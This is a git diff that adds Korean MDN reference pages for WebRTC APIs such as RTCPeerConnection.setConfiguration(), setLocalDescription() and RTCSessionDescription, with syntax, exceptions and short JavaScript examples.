+<p><strong><code>RTCPeerConnection.setConfiguration()</code></strong> 메소드는 {{domxref("RTCConfiguration")}}객체에 명시한 값을 가지고 {{domxref("RTCPeerConnection")}}의 현재 설정을 지정합니다. 이 메소드를 사용해서 연결에서 사용되는 ICE 서버와 전송 정책을 변경 할 수 있습니다. </p>
+
+<p>가장 보편적으로 쓰이는 방법은 사용하려는 ICE 서버 값으로 교체해주는것 입니다. (엄청 자주 사용되는 케이스는 아닐 것입니다) 이 방법을 수행하는 두 가지 시나리오는 아래와 같습니다:</p>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection")}}가 ICE 서버를 명시하지 않고 시작된 경우. 예를 들어, {{domxref("RTCPeerConnection.RTCPeerConnection()", "RTCPeerConnection()")}} 생성자를 매개변수 없이 호출하게되면, 개발자가 직접 <code>setConfiguration()</code>를 호출해서 ICE 협상 시작 전에 ICE 서버를 추가해줘야 합니다.</li>
+ <li>연결의 재협상이 필요하거나, 어떤 이유로 인해서 다른 종류의 ICE 서버를 사용해야하는 경우. 예를 들어, 사용자가 새로운 지역으로 이동을 했기 때문에 지역 ICE 서버를 바꿔야하는 경우입니다. 이런 경우에는, <code>setConfiguration()</code>를 호출해서 신규 지역 ICE 서버로 바꿔주고, <a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime#ICE_restart">ICE restart</a>을 시작하게됩니다.</li>
+</ul>
+
+<div class="note">
+<p>연결이 이미 설정이 되어있다면, 식별 정보는 변경 할 수 없습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.setConfiguration(<em>configuration</em>);</pre>
+
+<h3 class="syntaxbox" id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>configuration</code></dt>
+ <dd>설정을 할 수 있는 옵션들을 제공해주는 {{domxref("RTCConfiguration")}} 객체입니다. 변경사항은 계속해서 추가되지 않습니다. 대신에, 신규 값이 기존의 값은 완전히 대체하게 됩니다.</dd>
+</dl>
+
+<h3 id="예외처리">예외처리</h3>
+
+<dl>
+ <dt><code>InvalidAccessError</code></dt>
+ <dd><code>configuration.iceServers</code>에 정의한 하나 혹은 여러개의 URL이 {{Glossary("TURN")}} 서버 입니다. 하지만, 로그인을 위한 정보가 완전히 제공되지 않아서 발생하는 에러입니 ({{domxref("RTCIceServer.username")}} 혹은 {{domxref("RTCIceServer.credentials")}}의 값이 없다는 뜻). 이로인해 서버에 로그인을 성공적으로 할 수 없게 됩니다.</dd>
+ <dt><code>InvalidModificationError</code></dt>
+ <dd><code>configuration</code>에서 변경되는 식별 정보를 포함하고 있지만, 연결을 구성하면서 이미 식별 정보를 지정했기 때문에 발생하는 에러입니다. 이 에러는 <code>configuration.peerIdentity</code> 혹은 <code>configuration.certificates</code>가 설정이 되어있고, 이 값들이 현재 설정 값과 다르기 때문에 발생합니다.</dd>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>{{domxref("RTCPeerConnection")}}이 닫혀있어서 발생하는 에러입니다.</dd>
+ <dt><code>SyntaxError</code></dt>
+ <dd><code>configuration.iceServers</code>에 제공된 하나 혹은 여러개의 URL 리스트가 유효하지 않아서 발생하는 에러입니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예시에서는 ICE 재시작이 필요한 것을 확인하고, 다른 ICE 서버를 사용해서 협상이 이루어지도록 합니다.</p>
+
+<pre class="brush: js">var restartConfig = { iceServers: [{
+                          urls: "turn:asia.myturnserver.net",
+                          username: "allie@oopcode.com",
+                          credential: "topsecretpassword"
+                      }]
+};
+
+myPeerConnection.setConfiguration(restartConfig);
+
+myPeerConnection.createOffer({"iceRestart": true}).then(function(offer) {
+ return myPeerConnection.setLocalDescription(offer);
+})
+.then(function() {
+ // send the offer to the other peer using the signaling server
+})
+.catch(reportError);</pre>
+
+<p>먼저, 신규 {{domxref("RTCConfiguration")}}가 신규 ICE 서버와 인증 정보를 명시한 <code>restartConfig</code>를 가지도록 생성됩니다. 그리고 설정한 {{domxref("RTCConfiguration")}}가 <code>setConfiguration()</code>에 전달됩니다. <code>iceRestart</code> 옵션의 값을 <code>true</code>로 지정하고, {{domxref("RTCPeerConnection.createOffer()", "createOffer()")}}을 호출해서 ICE 협상이 재시작됩니다. 이후에, 반환받은 offer를 local description으로 설정하고, 다른 피어에게 offer를 전달하는 것과 같이 일반적으로 진행되도록 처리합니다. </p>
+
+<h2 id="사양서">사양서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">사양서</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setConfiguration-void-RTCConfiguration-configuration', 'setConfiguration()')}}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.RTCPeerConnection.setConfiguration")}}</p>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection.getConfiguration()")}}</li>
+ <li>{{domxref("RTCConfiguration")}}</li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/setidentityprovider/index.html b/files/ko/web/api/rtcpeerconnection/setidentityprovider/index.html
new file mode 100644
index 0000000000..784a5e5dec
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/setidentityprovider/index.html
@@ -0,0 +1,66 @@
+---
+title: RTCPeerConnection.setIdentityProvider()
+slug: Web/API/RTCPeerConnection/setIdentityProvider
+translation_of: Web/API/RTCPeerConnection/setIdentityProvider
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><code><strong>RTCPeerConnection.setIdentityProvider()</strong></code> 메소드는 이름, 통신에 사용된 프로토콜 (옵션), 유저 이름 (옵션)으로 구성된 세 가지 매개변수에 식별 제공자 (Identity Provider, IdP)를 지정합니다. IdP는 주장 (assertion)이 필요한 순간에만 사용 될 것입니다. </p>
+
+<p>{{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 <code>"closed"</code>로 지정되어있다면, <code>InvalidStateError</code> 에러가 발생합니다. </p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><em>pc</em>.setIdentityProvider(<em>domainname</em> [, <em>protocol</em>] [, <em>username</em>]);
+</code></pre>
+
+<p><em>이 메소드는 반환 값이 존재하지 않습니다.</em></p>
+
+<h3 id="Example" name="Example">매개변수</h3>
+
+<dl>
+ <dt><em>domainname</em></dt>
+ <dd>IdP가 존재하는 도메인 이름을 나타내는 {{domxref("DOMString")}}입니다.</dd>
+ <dt><em>protocol</em> {{optional_Inline}}</dt>
+ <dd>IdP와 통신하기위해 사용된 프로토콜을 나타내는 {{domxref("DOMString")}}입니다. 디폴트 값은 <code>"default"</code>로 설정되어있고, IdP가 감청하게되는 URL를 결정하는데에 사용됩니다.</dd>
+ <dt><em>username</em> {{optional_Inline}}</dt>
+ <dd>IdP와 연관된 유저 이름을 나타내는 {{domxref("DOMString")}}입니다.</dd>
+</dl>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<pre class="brush: js">var pc = new PeerConnection();
+
+pc.setIdentityAssertion("developer.mozilla.org");
+</pre>
+
+<h2 id="Specifications" name="Specifications">사양서</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+ <tr>
+ <th scope="col">사양서</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setIdentityProvider-void-DOMString-provider-DOMString-protocol-DOMString-username', 'RTCPeerConnection.setIdentityProvider()') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.setIdentityProvider")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/setlocaldescription/index.html b/files/ko/web/api/rtcpeerconnection/setlocaldescription/index.html
new file mode 100644
index 0000000000..41430c7267
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/setlocaldescription/index.html
@@ -0,0 +1,125 @@
+---
+title: RTCPeerConnection.setLocalDescription()
+slug: Web/API/RTCPeerConnection/setLocalDescription
+translation_of: Web/API/RTCPeerConnection/setLocalDescription
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary"><code><strong>RTCPeerConnection.setLocalDescription()</strong></code> 메소드는 연결 인터페이스와 관련이 있는 로컬 설명 (local description)을 변경합니다. 로컬 설명은 미디어 형식을 포함하는 연결의 로컬 엔드에 대한 속성을 명시합니다.</span></p>
+
+<p>이 메소드는 세션 설명 (session description)을 단일 매개변수로 가지며, 설명이 비동기적으로 변하게되면 fulfilled되는 {{jsxref("Promise")}}를 반환합니다.</p>
+
+<p>연결이 이미 되어있는데 <code>setLocalDescription()</code>가 호출된다면, 이는 재협상이 진행 중이라는 뜻입니다 (아마도 네트워크 환경이 바뀐 것에 대응하기 위함일 것입니다). 두명의 피어가 설정 값에 모두 동의해야지만 설명이 교환되기 때문에, <code>setLocalDescription()</code>의 호출로 전송된 설명은 즉시 사용되지 못합니다. 대신 협상이 완료되는 순간까지는 기존 연결 설정대로 작동 하게 됩니다. 그러다가 협상이 완료된 다음에서야 신규 설정이 사용됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">aPromise = <em>RTCPeerConnection</em>.setLocalDescription(<em>sessionDescription</em>);
+
+<em>pc</em>.setLocalDescription(<em>sessionDescription</em>, <em>successCallback</em>, <em>errorCallback</em>); {{deprecated_inline}}
+</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>sessionDescription</code></dt>
+ <dd>연결의 로컬 엔드에 적용시킬 설정 값을 지정하는 {{domxref("RTCSessionDescriptionInit")}} 혹은 {{domxref("RTCSessionDescription")}}입니다.</dd>
+</dl>
+
+<h4 id="세션_설명_매개_변수에_대한_설명">세션 설명 매개 변수에 대한 설명</h4>
+
+<p><code>sessionDescription</code> 매개 변수는 일단 기술적으로는 <code>RTCSessionDescriptionInit</code>의 타입입니다. 하지만, {{domxref("RTCSessionDescription")}}가 <code>RTCSessionDescriptionInit</code>와 구별이 불가능하도록 직렬화 (serialize)하기 때문에, <code>RTCSessionDescription</code>를 전달 할 수도 있습니다. 이 말은 코드가 다음과 같이 간단해질 수 있다는 뜻입니다:</p>
+
+<pre class="brush: js notranslate">myPeerConnection.createOffer().then(function(offer) {
+ return myPeerConnection.setLocalDescription(new RTCSessionDescription(offer));
+});
+</pre>
+
+<p>위 코드를 아래와 같이 간단하게 사용이 가능해집니다:</p>
+
+<pre class="brush: js notranslate">myPeerConnection.createOffer().then(myPeerConnection.setLocalDescription);</pre>
+
+<p>이러한 이유로, {{domxref("RTCSessionDescription.RTCSessionDescription", "RTCSessionDescription()")}} 생성자는 더 이상 사용되지 않습니다.</p>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("RTCPeerConnection.localDescription")}}의 값이 성공적으로 바뀌거나 혹은 변환이 불가능한 경우 거절되면 fulfill 되는 {{jsxref("Promise")}}입니다. 거절되는 예로는 명시한 설명이 연결에 존재하는 하나 혹은 양쪽 모두의 피어들과 호환이 불가능하면 발생하기도 합니다. 참고로 프로미스의 fulfillment 핸들러는 입력 매개 변수를 받지 않습니다.</p>
+
+<div class="note">
+<p>설명을 바꾸는 과정은 변경이 실패해도 연결 상태를 잃지 않게 보장하도록 WebRTC 레이어에 의해서 처리되는 중간 단계를 거칩니다. 이 과정에 대한 자세한 설명은 {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}를 참조하십시오.</p>
+</div>
+
+<h3 id="지원이_중단된_매개_변수">지원이 중단된 매개 변수</h3>
+
+<p>이전 버전의 문서에서는 콜백 기반의 함수를 찾을 수 있습니다. 콜백 함수는 지원이 중단되었고, 추후에 삭제 될 예정이기 때문에 <strong>사용하지 않도록 강력히 권장</strong>하고 있습니다. 이미 콜백 함수를 사용 중이라면, {{jsxref("Promise")}} 기반인 <code>setLocalDescription()</code>를 대신 사용하도록 업데이트 해야합니다. 기존 코드 업데이트에 도움을 주기 위해, 아래에서는 이전 버전의 <code>setLocalDescription()</code>에 대한 매개 변수를 설명합니다.</p>
+
+<dl>
+ <dt><code>successCallback</code> {{deprecated_inline}}</dt>
+ <dd>설명 값이 성공적으로 설정되면 입력 매개 변수 없이 호출되는 자바스크립트 {{jsxref("Function")}}입니다. 여기서, offer가 시그널링 서버를 통해서 원격 유저에게 전송 될 수 있습니다.</dd>
+ <dt><code>errorCallback</code> {{deprecated_inline}}</dt>
+ <dd>설명 값이 설정이 불가능할 때에 호출되어 <code>RTCPeerConnectionErrorCallback</code> 서명을 확인하는 함수입니다. 여기에는 요청이 왜 실패했는지를 설명하는 {{domxref("DOMException")}} 객체를 전달합니다.</dd>
+</dl>
+
+<p>지원이 중단된 위의 메소드는 실제 설정이 바뀌기 전에 바로 반환합니다. 성공하면 <code>successCallback</code>가 호출되고, 실패하면 <code>errorCallback</code>가 호출됩니다.</p>
+
+<h3 id="지원이_중단된_예외처리">지원이 중단된 예외처리</h3>
+
+<p>지원이 중단된 콜백버전의 <code>setLocalDescription()</code>를 사용하게되면 아래와 같은 예외들이 발 생 할 수도 있습니다:</p>
+
+<dl>
+ <dt><code>InvalidStateError</code> {{deprecated_inline}}</dt>
+ <dd>연결의 {{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 <code>"closed"</code> 상태고, 이는 연결이 현재 열린 상태가 아니여서 협상이 발생할 수 없다는 뜻입니다.</dd>
+ <dt><code>InvalidSessionDescriptionError</code> {{deprecated_inline}}</dt>
+ <dd><code>sessionDescription</code>에 의해 명시된 {{domxref("RTCSessionDescription")}} 매개 변수가 유효하지 않음을 알려줍니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예시에서는, {{event("negotiationneeded")}} 이벤트에 대한 핸들러를 구현하였습니다:</p>
+
+<pre class="brush: js notranslate">function handleNegotiationNeededEvent() {
+ pc.createOffer().then(function(offer) {
+ return pc.setLocalDescription(offer);
+ })
+ .then(function() {
+ // Send the offer to the remote peer using the signaling server
+ })
+ .catch(reportError);
+}</pre>
+
+<p>이 함수는 {{domxref("RTCPeerConnection.createOffer()", "createOffer()")}}를 호출하여 offer를 생성하면서 시작됩니다. 이 과정이 성공하면, <code>setLocalDescription()</code>를 호출합니다. 프로미스에 대한 fulfillment 핸들러는 시그널링 서버를 사용해서 다른 유저에게 신규 생성된 offer를 전송할 수 있게 됩니다.</p>
+
+<h2 id="사양서">사양서</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">사양서</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setLocalDescription-void-RTCSessionDescription-description-VoidFunction-successCallback-RTCPeerConnectionErrorCallback-failureCallback', 'RTCPeerConnection.setLocalDescription()') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setLocalDescription-Promise-void--RTCSessionDescriptionInit-description', 'RTCPeerConnection.setLocalDescription()')}}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.setLocalDescription")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.html b/files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.html
new file mode 100644
index 0000000000..2c9c19afa2
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.html
@@ -0,0 +1,56 @@
+---
+title: RTCPeerConnectionIceEvent.candidate
+slug: Web/API/RTCPeerConnectionIceEvent/candidate
+translation_of: Web/API/RTCPeerConnectionIceEvent/candidate
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p><span class="seoSummary">{{domxref("RTCPeerConnectionIceEvent")}} 인터페이스의 candidate 속성은 읽기 전용입니다. 이 속성은 {{domxref("RTCIceCandidate")}}와 관련된 이벤트를 반환합니다.   </span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"> var <em>candidate</em> = <em>event</em>.candidate;</pre>
+
+<h3 id="값">값</h3>
+
+<p>ICE candidate를 나타내는 {{domxref("RTCIceCandidate")}} 객체. 해당 네고시에이션 세션에 대한 candidate가 더 이상 존재하지 않으면, <code>null</code>을 반환합니다. </p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">pc.onicecandidate = function( ev ) {
+ alert("The ICE candidate (transport address: '" +
+ ev.candidate.candidate +
+ "') has been added to this connection.");
+}</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnectioniceevent-candidate', 'RTCPeerConnectionIceEvent.candidate') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnectionIceEvent.candidate")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{event("icecandidate")}}</li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnectioniceevent/index.html b/files/ko/web/api/rtcpeerconnectioniceevent/index.html
new file mode 100644
index 0000000000..089c81246d
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnectioniceevent/index.html
@@ -0,0 +1,76 @@
+---
+title: RTCPeerConnectionIceEvent
+slug: Web/API/RTCPeerConnectionIceEvent
+tags:
+ - API
+ - Experimental
+ - Interface
+ - NeedsTranslation
+ - RTCIceCandidateEvent
+ - Reference
+ - TopicStub
+ - WebRTC
+translation_of: Web/API/RTCPeerConnectionIceEvent
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p><span class="seoSummary">The <strong><code>RTCPeerConnectionIceEvent</code></strong> interface represents events that occurs in relation to {{Glossary("ICE")}} candidates with the target, usually an {{domxref("RTCPeerConnection")}}.</span> Only one event is of this type: {{event("icecandidate")}}.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>A {{domxref("RTCPeerConnectionIceEvent")}} being an {{domxref("Event")}}, this event also implements these properties</em>.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnectionIceEvent.candidate")}} {{readOnlyInline}}</dt>
+ <dd>Contains the {{domxref("RTCIceCandidate")}} containing the candidate associated with the event, or <code>null</code> if this event indicates that there are no further candidates to come.</dd>
+</dl>
+
+<h2 id="Constructors">Constructors</h2>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnectionIceEvent.RTCPeerConnectionIceEvent()", "RTCPeerConnectionIceEvent()")}}</dt>
+ <dd>Returns a new <code>RTCPeerConnectionIceEvent</code>. It takes two parameters, the first being a {{domxref("DOMString")}} representing the type of the event; the second a dictionary containing the {{domxref("RTCIceCandidate")}} it refers to.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>A {{domxref("RTCPeerConnectionIceEvent")}} being an {{domxref("Event")}}, this event also implements these properties</em>.  <em>There is no specific <em>{{domxref("RTCDataChannelEvent")}}</em> method.</em></p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">pc.onicecandidate = function( ev ) {
+ alert("The ICE candidate (transport address: '" +
+ ev.candidate.candidate +
+ "') has been added to this connection.");
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#rtcpeerconnectioniceevent', 'RTCPeerConnectionIceEvent') }}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnectionIceEvent")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC" title="/en-US/docs/CSS/Using_CSS_animations">WebRTC</a></li>
+ <li>Its usual target: {{domxref("RTCPeerConnection")}}.</li>
+</ul>
diff --git a/files/ko/web/api/rtcsessiondescription/index.html b/files/ko/web/api/rtcsessiondescription/index.html
new file mode 100644
index 0000000000..927204c7da
--- /dev/null
+++ b/files/ko/web/api/rtcsessiondescription/index.html
@@ -0,0 +1,129 @@
+---
+title: RTCSessionDescription
+slug: Web/API/RTCSessionDescription
+tags:
+ - API
+ - Audio
+ - Experimental
+ - Interface
+ - Media
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+ - Video
+ - Web
+ - WebRTC
+translation_of: Web/API/RTCSessionDescription
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p>The <strong><code>RTCSessionDescription</code></strong> interface describes one end of a connection—or potential connection—and how it's configured. Each <code>RTCSessionDescription</code> consists of a description {{domxref("RTCSessionDescription.type", "type")}} indicating which part of the offer/answer negotiation process it describes and of the {{Glossary("SDP")}} descriptor of the session.</p>
+
+<p>The process of negotiating a connection between two peers involves exchanging <code>RTCSessionDescription</code> objects back and forth, with each description suggesting one combination of connection configuration options that the sender of the description supports. Once the two peers agree upon a configuration for the connection, negotiation is complete.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>RTCSessionDescription</code> interface doesn't inherit any properties.</em></p>
+
+<dl>
+ <dt>{{domxref("RTCSessionDescription.type")}} {{ReadOnlyInline}}</dt>
+ <dd>An enum of type <code>{{anch("RTCSdpType")}}</code> describing the session description's type.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("RTCSessionDescription.sdp")}} {{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} containing the {{Glossary("SDP")}} describing the session.</dd>
+</dl>
+
+<h2 id="Constants">Constants</h2>
+
+<h3 id="RTCSdpType">RTCSdpType</h3>
+
+<p>This enum defines strings that describe the current state of the session description, as used in the {{domxref("RTCSessionDescription.type", "type")}} property. The session description's type will be specified using one of these values.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Value</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>answer</code></td>
+ <td>The SDP contained in the {{domxref("RTCSessionDescription.sdp", "sdp")}} property is the definitive choice in the exchange. In other words, this session description describes the agreed-upon configuration, and is being sent to finalize negotiation.</td>
+ </tr>
+ <tr>
+ <td><code>offer</code></td>
+ <td>The session description object describes the initial proposal in an offer/answer exchange. The session negotiation process begins with an offer being sent from the caller to the callee.</td>
+ </tr>
+ <tr>
+ <td><code>pranswer</code></td>
+ <td>The session description object describes a provisional answer; that is, a response to a previous offer that is not the final answer. It is usually employed by legacy hardware.</td>
+ </tr>
+ <tr>
+ <td><code>rollback</code></td>
+ <td>This special type with an empty session description is used to roll back to the previous stable state.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The <code>RTCSessionDescription</code> doesn't inherit any methods.</em></p>
+
+<dl>
+ <dt>{{domxref("RTCSessionDescription.RTCSessionDescription", "RTCSessionDescription()")}} {{deprecated_inline}}</dt>
+ <dd>This constructor returns a new <code>RTCSessionDescription</code>. The parameter is a <code>RTCSessionDescriptionInit</code> dictionary containing the values to assign the two properties.</dd>
+ <dt>{{domxref("RTCSessionDescription.toJSON()")}}</dt>
+ <dd>Returns a {{Glossary("JSON")}} description of the object. The values of both properties, {{domxref("RTCSessionDescription.type", "type")}} and {{domxref("RTCSessionDescription.sdp", "sdp")}}, are contained in the generated JSON.</dd>
+</dl>
+
+<h2 id="Example">Example<span id="cke_bm_72C" style="display: none;"> </span></h2>
+
+<pre class="brush: js">signalingChannel.onmessage = function (evt) {
+ if (!pc)
+ start(false);
+
+ var message = JSON.parse(evt.data);
+ if (message.sdp)
+ pc.setRemoteDescription(new RTCSessionDescription(message), function () {
+ // if we received an offer, we need to answer
+ if (pc.remoteDescription.type == "offer")
+ pc.createAnswer(localDescCreated, logError);
+ }, logError);
+ else
+ pc.addIceCandidate(new RTCIceCandidate(message.candidate),
+ function () {}, logError);
+};
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#rtcsessiondescription-class', 'RTCSessionDescription') }}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.RTCSessionDescription")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC" title="/en-US/docs/CSS/Using_CSS_animations">WebRTC</a></li>
+ <li>{{domxref("RTCPeerConnection.setLocalDescription()")}} and {{domxref("RTCPeerConnection.setRemoteDescription()")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcsessiondescription/sdp/index.html b/files/ko/web/api/rtcsessiondescription/sdp/index.html
new file mode 100644
index 0000000000..d0ed1ab2f6
--- /dev/null
+++ b/files/ko/web/api/rtcsessiondescription/sdp/index.html
@@ -0,0 +1,69 @@
+---
+title: RTCSessionDescription.sdp
+slug: Web/API/RTCSessionDescription/sdp
+translation_of: Web/API/RTCSessionDescription/sdp
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p>읽기 속성인 <strong><code>RTCSessionDescription.sdp</code></strong> 는 세션에 대해 설명해주는 {{Glossary("SDP")}}를 가지고 있는 {{domxref("DOMString")}}입니다. </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>value</em> = <em>sessionDescription</em>.sdp;
+<em>sessionDescription</em>.sdp = value;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>아래와 같이 SDP 메세지를 포함하고 있는 {{domxref("DOMString")}}값 입니다. </p>
+
+<pre> v=0
+ o=alice 2890844526 2890844526 IN IP4 host.anywhere.com
+ s=
+ c=IN IP4 host.anywhere.com
+ t=0 0
+ m=audio 49170 RTP/AVP 0
+ a=rtpmap:0 PCMU/8000
+ m=video 51372 RTP/AVP 31
+ a=rtpmap:31 H261/90000
+ m=video 53000 RTP/AVP 32
+ a=rtpmap:32 MPV/90000</pre>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">// The remote description has been set previously on pc, an RTCPeerConnection
+
+alert(pc.remoteDescription.sdp);
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCSessionDescription-sdp', 'RTCSessionDescription.sdp') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCSessionDescription.sdp")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+ <li>The standard for using SDP in an offer/answer protocol {{rfc("3264")}}.</li>
+</ul>
diff --git a/files/ko/web/api/rtcsessiondescription/type/index.html b/files/ko/web/api/rtcsessiondescription/type/index.html
new file mode 100644
index 0000000000..d898fac57e
--- /dev/null
+++ b/files/ko/web/api/rtcsessiondescription/type/index.html
@@ -0,0 +1,65 @@
+---
+title: RTCSessionDescription.type
+slug: Web/API/RTCSessionDescription/type
+translation_of: Web/API/RTCSessionDescription/type
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p>읽기 전용 값인 <strong><code>RTCSessionDescription.type</code></strong>은 세션 설명의 타입을 알려주는 <code>RTCSdpType</code>타입의 값입니다. </p>
+
+<h2 id="Syntax">Syntax</h2>
